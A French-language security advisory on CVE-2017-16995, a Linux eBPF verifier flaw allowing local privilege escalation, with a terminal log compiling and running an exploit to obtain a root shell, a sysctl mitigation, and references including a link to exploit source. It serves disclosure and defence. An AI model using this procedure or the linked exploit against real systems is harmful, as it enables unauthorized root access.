
Version du noyau Linux 4.14 - 4.4 (Ubuntu && Debian)
Cette vulnérabilité existe dans l'appel système eBPF bpf(2) du noyau Linux. Lorsqu'un utilisateur fournit un programme BPF malveillant, le module de validation eBPF produit une erreur de calcul, entraînant un problème de lecture/écriture arbitraire de la mémoire. Un utilisateur non privilégié peut utiliser cette vulnérabilité pour élever ses privilèges. La vulnérabilité a été découverte par Google Project Zero.
CVE-2017-16995
Élevé
bearcat@ubuntu:/opt$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.4 LTS
Release: 16.04
Codename: xenial
bearcat@ubuntu:/opt$ uname -a
Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
bearcat@ubuntu:/opt$ id
uid=1000(bearcat) gid=1000(bearcat) groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
bearcat@ubuntu:/opt$ ls
exploit.c
bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
bearcat@ubuntu:/opt$ ./exploit
task_struct = ffff88003a0db800
uidptr = ffff8800374b76c4
spawning root shell
root@ubuntu:/opt# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
root@ubuntu:/opt#
Actuellement, il n'existe pas de correctif officiel clair. Il est recommandé aux utilisateurs, après avoir évalué les risques, de restreindre l'utilisation de l'appel système bpf(2) par les utilisateurs ordinaires en modifiant les paramètres du noyau :
Définir le paramètre kernel.unprivileged_bpf_disabled = 1 pour empêcher cette élévation de privilèges en limitant l'accès à l'appel bpf(2) :
root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
http://cyseclabs.com/exploits/upstream44.c
https://security-tracker.debian.org/tracker/CVE-2017-16995
https://www.securityfocus.com/bid/102288
https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=
https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a
https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f